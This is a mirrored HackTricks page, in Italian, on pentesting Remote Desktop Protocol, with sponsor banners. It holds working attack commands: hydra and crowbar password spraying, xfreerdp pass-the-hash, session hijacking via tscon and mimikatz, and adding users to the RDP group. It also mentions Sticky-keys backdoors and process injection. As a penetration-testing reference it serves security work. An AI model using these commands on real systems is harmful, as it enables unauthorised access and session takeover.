mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 14:10:41 +00:00
173 lines
9.7 KiB
Markdown
173 lines
9.7 KiB
Markdown
# 3389 - Pentesting RDP
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
|
|
|
**Setup immediatamente disponibile per la valutazione delle vulnerabilità e il penetration testing**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla reportistica. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento e sfruttamento per restituire loro del tempo per approfondire, aprire shell e divertirsi.
|
|
|
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
|
|
|
## Informazioni di base
|
|
|
|
Sviluppato da Microsoft, il **Remote Desktop Protocol** (**RDP**) è progettato per abilitare una connessione con interfaccia grafica tra computer su una rete. Per stabilire tale connessione, il software client **RDP** è utilizzato dall'utente, e contemporaneamente, il computer remoto deve operare il software server **RDP**. Questa configurazione consente il controllo e l'accesso senza soluzione di continuità all'ambiente desktop di un computer distante, portando essenzialmente la sua interfaccia sul dispositivo locale dell'utente.
|
|
|
|
**Porta predefinita:** 3389
|
|
```
|
|
PORT STATE SERVICE
|
|
3389/tcp open ms-wbt-server
|
|
```
|
|
## Enumerazione
|
|
|
|
### Automatica
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
|
|
```
|
|
{% endcode %}
|
|
|
|
Controlla la crittografia disponibile e la vulnerabilità DoS (senza causare DoS al servizio) e ottiene informazioni NTLM di Windows (versioni).
|
|
|
|
### [Forza bruta](../generic-methodologies-and-resources/brute-force.md#rdp)
|
|
|
|
**Fai attenzione, potresti bloccare gli account**
|
|
|
|
### **Spray di password**
|
|
|
|
**Fai attenzione, potresti bloccare gli account**
|
|
```bash
|
|
# https://github.com/galkan/crowbar
|
|
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
|
|
# hydra
|
|
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
|
|
```
|
|
### Connettersi con credenziali/hash noti
|
|
```bash
|
|
rdesktop -u <username> <IP>
|
|
rdesktop -d <domain> -u <username> -p <password> <IP>
|
|
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
|
|
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
|
|
```
|
|
### Controlla le credenziali conosciute contro i servizi RDP
|
|
|
|
rdp\_check.py di impacket ti consente di verificare se alcune credenziali sono valide per un servizio RDP:
|
|
```bash
|
|
rdp_check <domain>/<name>:<password>@<IP>
|
|
```
|
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
|
|
|
**Impostazione disponibile istantaneamente per la valutazione delle vulnerabilità e il pentesting**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla reportistica. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento e sfruttamento per restituire loro del tempo per approfondire, aprire shell e divertirsi.
|
|
|
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
|
|
|
## **Attacchi**
|
|
|
|
### Furto di sessione
|
|
|
|
Con **permessi SYSTEM** puoi accedere a qualsiasi **sessione RDP aperta da qualsiasi utente** senza bisogno di conoscere la password del proprietario.
|
|
|
|
**Ottieni sessioni aperte:**
|
|
```
|
|
query user
|
|
```
|
|
**Accesso alla sessione selezionata**
|
|
```bash
|
|
tscon <ID> /dest:<SESSIONNAME>
|
|
```
|
|
Ora sarai all'interno della sessione RDP selezionata e dovrai impersonare un utente utilizzando solo strumenti e funzionalità di Windows.
|
|
|
|
**Importante**: Quando accedi a sessioni RDP attive, disconnetterai l'utente che le stava utilizzando.
|
|
|
|
Potresti ottenere le password dal processo estraendole, ma questo metodo è molto più veloce e ti consente di interagire con i desktop virtuali dell'utente (password in notepad senza essere salvate su disco, altre sessioni RDP aperte su altre macchine...)
|
|
|
|
#### **Mimikatz**
|
|
|
|
Puoi anche utilizzare mimikatz per fare questo:
|
|
```bash
|
|
ts::sessions #Get sessions
|
|
ts::remote /id:2 #Connect to the session
|
|
```
|
|
### Sticky-keys & Utilman
|
|
|
|
Combinando questa tecnica con **stickykeys** o **utilman potrai accedere a un CMD amministrativo e a qualsiasi sessione RDP in qualsiasi momento**
|
|
|
|
Puoi cercare RDP che sono stati backdoorati con una di queste tecniche già con: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
|
|
|
|
### RDP Process Injection
|
|
|
|
Se qualcuno di un dominio diverso o con **privilegi migliori accede via RDP** al PC dove **sei un Admin**, puoi **iniettare** il tuo beacon nel suo **processo di sessione RDP** e agire come lui:
|
|
|
|
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %}
|
|
[rdp-sessions-abuse.md](../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Aggiungere utente al gruppo RDP
|
|
```bash
|
|
net localgroup "Remote Desktop Users" UserLoginName /add
|
|
```
|
|
## Automatic Tools
|
|
|
|
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
|
|
|
|
**AutoRDPwn** è un framework di post-exploitation creato in Powershell, progettato principalmente per automatizzare l'attacco **Shadow** sui computer Microsoft Windows. Questa vulnerabilità (elencata come una funzionalità da Microsoft) consente a un attaccante remoto di **visualizzare il desktop della sua vittima senza il suo consenso**, e persino controllarlo su richiesta, utilizzando strumenti nativi del sistema operativo stesso.
|
|
|
|
* [**EvilRDP**](https://github.com/skelsec/evilrdp)
|
|
* Controlla il mouse e la tastiera in modo automatizzato dalla riga di comando
|
|
* Controlla il clipboard in modo automatizzato dalla riga di comando
|
|
* Crea un proxy SOCKS dal client che canalizza la comunicazione di rete verso il target tramite RDP
|
|
* Esegui comandi SHELL e PowerShell arbitrari sul target senza caricare file
|
|
* Carica e scarica file da/per il target anche quando i trasferimenti di file sono disabilitati sul target
|
|
|
|
## HackTricks Automatic Commands
|
|
```
|
|
Protocol_Name: RDP #Protocol Abbreviation if there is one.
|
|
Port_Number: 3389 #Comma separated if there is more than one.
|
|
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
|
|
|
|
Entry_1:
|
|
Name: Notes
|
|
Description: Notes for RDP
|
|
Note: |
|
|
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
|
|
|
|
https://book.hacktricks.xyz/pentesting/pentesting-rdp
|
|
|
|
Entry_2:
|
|
Name: Nmap
|
|
Description: Nmap with RDP Scripts
|
|
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
|
|
```
|
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
|
|
|
**Impostazione disponibile istantaneamente per la valutazione delle vulnerabilità e il penetration testing**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla reportistica. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento e sfruttamento per restituire loro del tempo per approfondire, aprire shell e divertirsi.
|
|
|
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
|
|
|
{% hint style="success" %}
|
|
Impara e pratica l'Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Impara e pratica l'Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Supporta HackTricks</summary>
|
|
|
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
|
|
|
</details>
|
|
{% endhint %}
|